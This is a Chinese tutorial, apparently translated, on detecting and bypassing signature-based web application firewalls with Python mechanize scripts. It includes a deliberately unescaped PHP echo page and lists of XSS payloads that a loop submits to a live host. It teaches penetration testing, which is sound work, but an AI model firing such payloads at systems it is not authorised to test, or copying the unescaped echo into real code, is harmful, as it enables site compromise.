web应用防火墙一般部署在web服务器前面,用来过滤来自服务器的恶意流量。如果你被某些公司雇佣为渗透人员,同时他们忘记告诉你他们使用了web应用防火墙,这可能会使你在渗透时遇到极大困阻。下面的插图会向你描述简单的web应用防火墙的原理。
很明显防火墙就像web流量和web服务器之间的一堵墙,通常现代的web应用防火墙都是基于签名的。
在基于签名的防火墙中,你可以定义签名。因为你知道web攻击遵从着类似的模式或签名。所以我们可以定义匹配模式然后屏蔽攻击。例如:
payload: -<svg><script>alert`1`<p>
上面定义的payload是一种跨站脚本攻击,我们知道所有这种攻击都带有以下这种子字符串->"<script>"
,因此我们可以定义一种签名屏蔽含有这种子字符串的web流量。我们可以定义2-3种签名,如下:
1. <script>
2. alert(*)
第一个签名规则会屏蔽任何带有<script>
字符串的请求,第二个规则会屏蔽带有alert()的请求。那么这就是基于签名的防火墙工作原理。
如果你正在进行渗透测试并且不知道防火墙对流量进行了屏蔽,这将浪费你许多时间,因为大多数时候你的攻击payloads被防火墙屏蔽而不是应用程序代码,最后你可能会停止测试得出结论:你所测试的应用很安全然后可以发布了。因此,在渗透测试之前先对web应用防火墙的存在进行测试是个好主意。
大多数现代的防火墙都会留下他们自己的痕迹,假设你使用了上面的payload对web应用进行了攻击,并且得到了如下的响应:
HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the
requested resource could not be found on this server. This error was generated by <strong>Mod_Security</strong>.
很明显你的攻击被_Mod_security_防火墙屏蔽了。在本文中,我们会认识到如何开发简单的python脚本去完成防火墙探测和绕过的任务。
创建带有注入点的html文档和对应数据处理的php脚本是一定的。我们使用下面的文档:
HTML文档
<html>
<body>
<form name="waf" action="waf.php" method="post">
Data: <input type="text" name="data"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>
php脚本
<html>
<body>
Data from the form : <?php echo $_POST["data"]; ?><br>
</body>
</html>
探测防火墙的第二步是构造一个会被防火墙屏蔽的恶意跨站脚本攻击请求。我们会使用一个叫做’Mechanize’的python模块,如果想进一步了解该模块请阅读下面这篇文章:
Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize
如果你已经了解Mechanize,你可以跳过这篇文章。既然你已经了解Mechanize,那我们可以通过下面的代码来实现选择任意页面上的表单来提交请求。
import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)
接着开始逐行分析吧:
正如你在html源码中看到的,表单只有一个输入区,所以我们打算在那写入payload。一旦收到了响应,我们就立刻检查字符串去判断是否存在防火墙。
在我们的html文档中,我们使用了下面的代码定义了一个输入栏:
<input type="text" name="data"><br>
很明显输入栏的名字是’data’,我们可以通过下面简短的代码去填写空白栏:
crossSiteScriptingPayLoad = "<svg><script>alert`1`<p>"
maliciousRequest.form['data'] = crossSiteScriptingPayLoad
现在可以安全提交表单,然后观察响应。
我打算在下面介绍的代码将会提交表单数据并记录响应:
maliciousRequest.submit()
response = maliciousRequest.response().read()
print response
因为我现在还没安装防火墙,所以我得到的请求是这样的:
正如你所见的,payload回显出来了,这意味着应用的代码没有任何过滤,同时也因为没有防火墙我们的请求没有被屏蔽。
变量名’response’存储着从服务器返回的响应,我们可以通过响应来判断防火墙的存在。在本文中我们将去检测以下几款防火墙的存在。
让我们看看如何用python代码实现:
if response.find('WebKnight') >= 0:
print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
如果安装了Web Knight防火墙并且我们的请求被屏蔽了,响应字符中将会存在WebKnight,所以find函数的返回值会大于0,这意味着WebKnight存在。同样的,另两块防火墙也可以用同样的方法检测。我们可以扩展这个小程序去检测许多其他防火墙,但前提是你得知道响应行为。
在文章的开始我提到过多数防火墙都是基于签名来屏蔽请求的。但是你构造payload的方法可能有成千上百种。因为Javascript越来越复杂,我们可以构造一系列payload并逐一的尝试,同时记录下所有响应,接着判断能否绕过防火墙。请注意如果防火墙规则制定比较完善,则这个方法可能行不通。接着看看用python如何爆破:
listofPayloads = ['<dialog open="" onclose="alert(1)"><form method="dialog"><button>Close me!</button></form></dialog>', '<svg><script>prompt( 1)<i>', '<a href="javascript:alert(1)">CLICK ME<a>']
for payLoads in listofPayloads:
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submit()
response = maliciousRequest.response().read()
if response.find('WebKnight') >= 0:
print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
因为我没有装防火墙,所以我的输出是这样的:
假设防火墙过滤了<,>的标签,我们可以用他们的unicode和十六进制实体替代去发送请求然后观察它们能否被转为原来的字符。如果这样可行的话,这可能是一个切入点。下面的代码用来检测这个过程:
listofPayloads = ['<b>','\u003cb\u003e','\x3cb\x3e']
for payLoads in listofPayloads:
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submit()
response = maliciousRequest.response().read()
print "---------------------------------------------------"
print response
print "---------------------------------------------------"
在每次编码后发送的请求响应中,我们会检查响应中的字符编码情况。我运行这些代码得到了下面的输出:
很明显被编码的字符没有得到解码。
本文的目的是提前训练你,这样在黑客入侵前可以对防火墙进行测试加强防御。对自己的网络基础设备进行漏洞测试总是个好选择,因为我们总是关心应用的启动和运行,而忽略了安全部分。但这是不应该的,日后这可能会令人很头疼。文章中完整的代码可以从这里下载。
Usman Nasir,Cyberpersions的创始人、作者,同时也是计算机学科专业的学生。同时也作为技术支持员工服务于不同的主机公司,热爱写linux和web应用安全的文章。